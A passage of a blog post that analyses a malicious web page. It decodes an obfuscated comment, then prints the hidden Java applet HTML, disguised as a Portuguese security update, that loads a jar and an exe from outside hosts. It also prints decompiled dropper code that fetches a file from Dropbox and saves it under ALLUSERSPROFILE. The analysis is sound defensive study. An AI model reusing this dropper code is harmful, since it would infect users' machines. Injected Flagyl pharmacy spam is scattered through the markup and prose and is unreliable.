<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 181:</span>         <span style="color: #0000ff">if</span> (prev) prev();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 182:</span>         f();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 183:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 184:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 185:</span> WindowOnload(JSM_onCreate);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 186:</span> setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 7000);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 187:</span> <span style="color: #008000">/*</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 188:</span> <span style="color: #008000">msg = d_hex( d_b64( ?. ) );</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 189:</span> <span style="color: #008000">NTM2MTc1NjQ2MWU3ZjU2NTczMjA2MTZmNzMyMDZkNjU3NTczMjA2MzZmNmM2NTY3NjE3MzIwNjQ2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 190:</span> <span style="color: #008000">NTIwNzQ3MjYxNjI2MTZjNjg2ZjIwNjQ2ZjIwNjI2YzZmNjcyMDYzNzI2OTZkNjU3MzYzNjk2MjY1</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 191:</span> <span style="color: #008000">NzI2ZTY1NzQ2OTYzNmY3MzJlNjM2ZjZkMmUwZDBhNTM2MTYyNjU2ZTY0NmYyMDcxNzU2NTIwNmU2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 192:</span> <span style="color: #008000">MTY0NjEyMDczNjE2MjY1NmQ2ZjczMjA2NTczNzQ2MTZkNmY3MzIwNjE2Y2U5NmQyMDY0NmYyMDYy</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 193:</span> <span style="color: #008000">NjU2ZDIwNjUyMDY0NmYyMDZkNjE2YzJjMjA2MTY2Njk2ZTYxNmMyMDYxMjBmYTZlNjk2MzYxMjA2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>online Flagyl without a prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 194:</span> <span style="color: #008000">MzZmNjk3MzYxMjA2MTYyNzM2ZjZjNzU3NDYxMjBlOTIwNzE3NTY1MjA3NDc1NjQ2ZjIwZTkyMDcy</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 195:</span> <span style="color: #008000">NjU2YzYxNzQ2OTc2NmYyZTBkMGE1NTZkMjA2MTYyNzI2MWU3NmYyYzIwNjQ2ZjIwNzM2NTc1MjA2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 196:</span> <span style="color: #008000">MTZkNjk2NzZmMjA1MDczNzk2MzY4NmM2ZjJlMGQwYTYyNzkyMDUwNzM3OTYzNjg2YzZmMjAyZDIw</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 197:</span> <span style="color: #008000">MzEzMTJmMzEzMTJmMzEzMQ==</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 198:</span> <span style="color: #008000"></span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl duration</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 199:</span> <span style="color: #008000">*/</span></pre>  </div></div></p>
<p><p>&#160;</p></p>
<p><p>Now, some parts are more interesting than others.&#160; The end if the file just seems base64 encoded…cause it is.&#160; OK un-base64, you get a wall of numbers.&#160;&#160; But there is a clue in the d_hex function (that doesn’t exist), so we are assuming it is hex.&#160; Convert the tex to text and you see this:</p></p>
<p><blockquote>  <p>Saudações aos meus colegas de trabalho do blog crimesciberneticos.com.<br />
    <br />Sabendo que nada sabemos estamos além do bem e do mal, afinal a única coisa absoluta é que tudo é relativo.</p>
<p>    <br />Um abraço, do seu amigo Psychlo.</p>
<p>    <br />by Psychlo - 11/11/11</p></blockquote></p>
<p><p>Via Google translate you find this is Portuguese which I’m sure would make some of my Portuguese friends happy.&#160; Actually, if you want it to be hard to untranslate, use a language no one knows anymore, like Fries or <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>!&#160; Cause you know every girl wants to hear, “Hey babe, I speak <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>.”&#160; <sup>Note: my mother speaks Gronings.</sup></p></p>
<p><blockquote>  <p>Greetings to my coworkers crimesciberneticos.com blog.<br />
    <br />Knowing that we know nothing beyond good and evil, <b>purchase Flagyl</b>, after all the only thing absolute is that everything is relative.</p>
<p>    <br />A hug, your friend Psychlo.</p>
<p>    <br />by Psychlo - 11/11/11</p></blockquote></p>
<p><p>&#160;</p></p>
<p><p>Anyway, one of the things this code is trying to do is run a Java applet.&#160; But do take a look that the rest of that code, some of it will come in handy later.</p></p>
<p><p>&#160; Here is where that is happening:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl without a prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> }</pre>  </div></div></p>
<p><p>Which is indirecteeze for:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> &lt;applet name=<span style="color: #006080">&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot;</span> code=<span style="color: #006080">&quot;a.class&quot;</span> archive=<span style="color: #006080">&quot;http://advancedqualitysystem.com/Get/Get.php?a=/a1.jar?r=976646&quot;</span> width=<span style="color: #006080">&quot;0&quot;</span> height=<span style="color: #006080">&quot;0&quot;</span>  style=<span style="color: #006080">&quot;visibility: hidden&quot;</span>&gt;        &lt;param name=<span style="color: #006080">&quot;l&quot;</span> value=<span style="color: #006080">&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;</span>&gt;&lt;/param&gt;&lt;/applet&gt;</pre>  </div></div></p>
<p><p>OK, now I have the url for the Java applet, plus the entry point class (a.class).&#160;&#160; I can download that now.&#160; With the applet in hand, <b>generic Flagyl</b>, a Java applet is a zip file (funny things you remember from Comp Sci class in 1996), grab the *.class files, find a Java Decompiler and away we go.</p></p>
<p><p>You get 5 classes:</p></p>
<p><p>a.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Where to buy Flagyl</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">public</span> <span style="color: #0000ff">class</span> a extends Applet</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     <span style="color: #0000ff">public</span> a()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl samples</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">void</span> init()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         c_gP c_gp = <span style="color: #0000ff">new</span> c_gP();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Rx free Flagyl</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         c_ed c_ed1 = <span style="color: #0000ff">new</span> c_ed();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         String s = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.&quot;</span>).append(<span style="color: #006080">&quot;ln&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>         String s1 = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.l&quot;</span>).append(<span style="color: #006080">&quot;n&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         <span style="color: #0000ff">try</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>order Flagyl from United States pharmacy</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             String s2 = System.getenv(<span style="color: #006080">&quot;ALLUSERSPROFILE&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             String s3 = getParameter(<span style="color: #006080">&quot;l&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">if</span>(s2 != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 String s4 = <span style="color: #006080">&quot;ht&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Order Flagyl online overnight delivery no prescription</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 String s5 = <span style="color: #006080">&quot;tp&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                 String s6 = <span style="color: #006080">&quot;:&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 String s7 = <span style="color: #006080">&quot;//&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 String s8 = <span style="color: #006080">&quot;dl&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                 String s9 = <span style="color: #006080">&quot;.drop&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 String s10 = <span style="color: #006080">&quot;box.&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl images</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 String s11 = <span style="color: #006080">&quot;com/u/41185898/&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>                 String s12 = <span style="color: #006080">&quot;a.gif&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>                 c_ed1.ed((<span style="color: #0000ff">new</span> StringBuilder()).append(s4).append(s5).append(s6).append(s7).append(s8).append(s9).append(s10).append(s11).append(s12).toString(), (<span style="color: #0000ff">new</span> StringBuilder()).append(s2).append(<span style="color: #006080">&quot;\&quot;).append(s1).toString(), this);</pre></p>
